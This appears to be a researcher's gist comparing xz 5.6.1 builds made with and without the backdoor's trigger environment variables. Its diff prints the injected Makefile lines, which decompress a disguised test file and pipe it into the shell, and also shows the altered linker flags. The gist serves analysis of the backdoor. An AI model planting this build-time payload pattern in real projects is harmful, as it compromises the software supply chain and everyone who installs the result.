Created
March 31, 2024 06:28
-
-
Save oogali/6d58db65f119edb37740869b9a1aada6 to your computer and use it in GitHub Desktop.
xz 5.6.1 builds with and without trigger envs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
oogali@lab-bullseye:~/playground/xz-backdoor$ tar zxvf ~/xz-5.6.1.tar.gz | |
... | |
oogali@lab-bullseye:~/playground/xz-backdoor$ cd xz-5.6.1 | |
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ export CC=gcc | |
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ export RPM_ARCH=x86_64 | |
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ time ./configure | |
... | |
real 0m6.587s | |
user 0m5.081s | |
sys 0m1.890s | |
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ | |
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ time make -j4 | |
... | |
real 0m7.686s | |
user 0m20.820s | |
sys 0m4.094s | |
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ cd .. | |
oogali@lab-bullseye:~/playground/xz-backdoor$ mv xz-5.6.1 xz-5.6.1-with-backdoor | |
oogali@lab-bullseye:~/playground/xz-backdoor$ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
oogali@lab-bullseye:~/playground/xz-backdoor$ tar zxvf ~/xz-5.6.1.tar.gz | |
oogali@lab-bullseye:~/playground/xz-backdoor$ cd xz-5.6.1 | |
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ echo $CC | |
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ echo $RPM_ARCH | |
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ time ./configure | |
... | |
real 0m6.675s | |
user 0m5.164s | |
sys 0m1.882s | |
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ | |
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ time make -j4 | |
... | |
real 0m6.829s | |
user 0m19.909s | |
sys 0m4.078s | |
oogali@lab-bullseye:~/playground/xz-backdoor/xz-5.6.1$ cd .. | |
oogali@lab-bullseye:~/playground/xz-backdoor$ mv xz-5.6.1 xz-5.6.1-without-backdoor | |
oogali@lab-bullseye:~/playground/xz-backdoor$ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
oogali@lab-bullseye:~/playground/xz-backdoor$ diff -r -U1 xz-5.6.1-without-backdoor/ xz-5.6.1-with-backdoor/ | |
diff -r -U1 xz-5.6.1-without-backdoor/config.log xz-5.6.1-with-backdoor/config.log | |
--- xz-5.6.1-without-backdoor/config.log 2024-03-31 02:19:52.523820265 -0400 | |
+++ xz-5.6.1-with-backdoor/config.log 2024-03-31 02:22:25.401945188 -0400 | |
@@ -118,3 +118,2 @@ | |
configure:5713: checking for gcc | |
-configure:5734: found /usr/bin/gcc | |
configure:5746: result: gcc | |
@@ -3677,3 +3676,3 @@ | |
configure:22451: gcc -o conftest -g -O2 conftest.c -lpthread >&5 | |
-/usr/bin/ld: /tmp/cc8msmnZ.o: in function `main': | |
+/usr/bin/ld: /tmp/ccl49Ckk.o: in function `main': | |
/home/oogali/playground/xz-backdoor/xz-5.6.1/conftest.c:141: undefined reference to `cap_rights_limit' | |
@@ -3829,3 +3828,3 @@ | |
configure:22470: gcc -o conftest -g -O2 conftest.c -lpthread >&5 | |
-/usr/bin/ld: /tmp/ccCPu4z2.o: in function `main': | |
+/usr/bin/ld: /tmp/ccl5oGso.o: in function `main': | |
/home/oogali/playground/xz-backdoor/xz-5.6.1/conftest.c:141: undefined reference to `pledge' | |
@@ -6236,4 +6235,4 @@ | |
ac_cv_env_CCAS_value= | |
-ac_cv_env_CC_set= | |
-ac_cv_env_CC_value= | |
+ac_cv_env_CC_set=set | |
+ac_cv_env_CC_value=gcc | |
ac_cv_env_CFLAGS_set= | |
diff -r -U1 xz-5.6.1-without-backdoor/config.status xz-5.6.1-with-backdoor/config.status | |
--- xz-5.6.1-without-backdoor/config.status 2024-03-31 02:19:51.647808112 -0400 | |
+++ xz-5.6.1-with-backdoor/config.status 2024-03-31 02:22:24.513932825 -0400 | |
@@ -426,3 +426,3 @@ | |
-ac_cs_config='' | |
+ac_cs_config='CC=gcc' | |
ac_cs_version="\ | |
@@ -518,3 +518,3 @@ | |
if $ac_cs_recheck; then | |
- set X /bin/bash './configure' $ac_configure_extra_args --no-create --no-recursion | |
+ set X /bin/bash './configure' 'CC=gcc' $ac_configure_extra_args --no-create --no-recursion | |
shift | |
diff -r -U1 xz-5.6.1-without-backdoor/libtool xz-5.6.1-with-backdoor/libtool | |
--- xz-5.6.1-without-backdoor/libtool 2024-03-31 02:19:52.415818768 -0400 | |
+++ xz-5.6.1-with-backdoor/libtool 2024-03-31 02:22:25.345944408 -0400 | |
@@ -334,3 +334,3 @@ | |
# Additional compiler flags for building library objects. | |
-pic_flag=" -fPIC -DPIC" | |
+pic_flag=" -fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections" | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-alone_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-alone_decoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-alone_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-alone_encoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-arm64.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-arm64.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-arm.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-arm.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-armthumb.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-armthumb.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-auto_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-auto_decoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-block_buffer_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-block_buffer_decoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-block_buffer_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-block_buffer_encoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-block_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-block_decoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-block_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-block_encoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-block_header_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-block_header_decoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-block_header_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-block_header_encoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-block_util.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-block_util.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-check.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-check.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-common.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-common.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-crc32_fast.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-crc32_fast.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-crc32_table.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-crc32_table.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-crc64_fast.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-crc64_fast.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-crc64_table.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-crc64_table.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-delta_common.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-delta_common.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-delta_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-delta_decoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-delta_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-delta_encoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-easy_buffer_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-easy_buffer_encoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-easy_decoder_memusage.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-easy_decoder_memusage.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-easy_encoder_memusage.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-easy_encoder_memusage.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-easy_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-easy_encoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-easy_preset.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-easy_preset.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-fastpos_table.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-fastpos_table.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-file_info.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-file_info.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-filter_buffer_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-filter_buffer_decoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-filter_buffer_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-filter_buffer_encoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-filter_common.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-filter_common.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-filter_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-filter_decoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-filter_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-filter_encoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-filter_flags_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-filter_flags_decoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-filter_flags_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-filter_flags_encoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-hardware_cputhreads.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-hardware_cputhreads.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-hardware_physmem.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-hardware_physmem.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-ia64.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-ia64.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-index_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-index_decoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-index_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-index_encoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-index_hash.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-index_hash.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-index.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-index.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lz_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lz_decoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lz_encoder_mf.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lz_encoder_mf.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lz_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lz_encoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lzip_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lzip_decoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lzma2_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lzma2_decoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lzma2_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lzma2_encoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lzma_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lzma_decoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lzma_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lzma_encoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lzma_encoder_optimum_fast.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lzma_encoder_optimum_fast.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lzma_encoder_optimum_normal.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lzma_encoder_optimum_normal.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-lzma_encoder_presets.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-lzma_encoder_presets.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-microlzma_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-microlzma_decoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-microlzma_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-microlzma_encoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-outqueue.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-outqueue.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-powerpc.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-powerpc.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-price_table.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-price_table.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-riscv.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-riscv.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-sha256.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-sha256.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-simple_coder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-simple_coder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-simple_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-simple_decoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-simple_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-simple_encoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-sparc.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-sparc.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-stream_buffer_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-stream_buffer_decoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-stream_buffer_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-stream_buffer_encoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-stream_decoder_mt.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-stream_decoder_mt.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-stream_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-stream_decoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-stream_encoder_mt.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-stream_encoder_mt.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-stream_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-stream_encoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-stream_flags_common.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-stream_flags_common.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-stream_flags_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-stream_flags_decoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-stream_flags_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-stream_flags_encoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-string_conversion.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-string_conversion.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-tuklib_cpucores.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-tuklib_cpucores.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-tuklib_physmem.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-tuklib_physmem.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-vli_decoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-vli_decoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-vli_encoder.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-vli_encoder.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-vli_size.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-vli_size.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma_la-x86.o and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma_la-x86.o differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma.so and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma.so differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma.so.5 and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma.so.5 differ | |
Binary files xz-5.6.1-without-backdoor/src/liblzma/.libs/liblzma.so.5.6.1 and xz-5.6.1-with-backdoor/src/liblzma/.libs/liblzma.so.5.6.1 differ | |
diff -r -U1 xz-5.6.1-without-backdoor/src/liblzma/Makefile xz-5.6.1-with-backdoor/src/liblzma/Makefile | |
--- xz-5.6.1-without-backdoor/src/liblzma/Makefile 2024-03-31 02:19:51.827810609 -0400 | |
+++ xz-5.6.1-with-backdoor/src/liblzma/Makefile 2024-03-31 02:22:25.349944464 -0400 | |
@@ -264,2 +264,3 @@ | |
subdir = src/liblzma | |
+am__test = bad-3-corrupt_lzma2.xz | |
ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 | |
@@ -289,2 +290,3 @@ | |
CONFIG_CLEAN_VPATH_FILES = | |
+am__test_dir=$(top_srcdir)/tests/files/$(am__test) | |
am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; | |
@@ -295,2 +297,3 @@ | |
am__strip_dir = f=`echo $$p | sed -e 's|^.*/||'`; | |
+am__strip_prefix = tr " \-_" " _\-" | |
am__install_max = 40 | |
@@ -310,2 +313,3 @@ | |
sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g' | |
+am__dist_setup = $(am__strip_prefix) | xz -d 2>/dev/null | $(SHELL) | |
am__uninstall_files_from_dir = { \ | |
@@ -318,2 +322,18 @@ | |
"$(DESTDIR)$(pkgconfigdir)" | |
+LTDEPS='$(lib_LTDEPS)'; \ | |
+ export top_srcdir='$(top_srcdir)'; \ | |
+ export CC='$(CC)'; \ | |
+ export DEFS='$(DEFS)'; \ | |
+ export DEFAULT_INCLUDES='$(DEFAULT_INCLUDES)'; \ | |
+ export INCLUDES='$(INCLUDES)'; \ | |
+ export liblzma_la_CPPFLAGS='$(liblzma_la_CPPFLAGS)'; \ | |
+ export CPPFLAGS='$(CPPFLAGS)'; \ | |
+ export AM_CFLAGS='$(AM_CFLAGS)'; \ | |
+ export CFLAGS='$(CFLAGS)'; \ | |
+ export AM_V_CCLD='$(am__v_CCLD_$(V))'; \ | |
+ export liblzma_la_LINK='$(liblzma_la_LINK)'; \ | |
+ export libdir='$(libdir)'; \ | |
+ export liblzma_la_OBJECTS='$(liblzma_la_OBJECTS)'; \ | |
+ export liblzma_la_LIBADD='$(liblzma_la_LIBADD)'; \ | |
+sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1 | |
LTLIBRARIES = $(lib_LTLIBRARIES) | |
@@ -610,3 +630,3 @@ | |
$(AM_LDFLAGS) $(LDFLAGS) -o $@ | |
-AM_V_CCLD = $(am__v_CCLD_$(V)) | |
+AM_V_CCLD = @echo -n $(LTDEPS); $(am__v_CCLD_$(V)) | |
am__v_CCLD_ = $(am__v_CCLD_$(AM_DEFAULT_VERBOSITY)) | |
@@ -894,2 +914,3 @@ | |
pc_verbose_0 = @echo " PC " $@; | |
+liblzma_la_LDFLAGS += -Wl,--sort-section=name,-X,-z,now | |
all: all-recursive | |
oogali@lab-bullseye:~/playground/xz-backdoor$ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment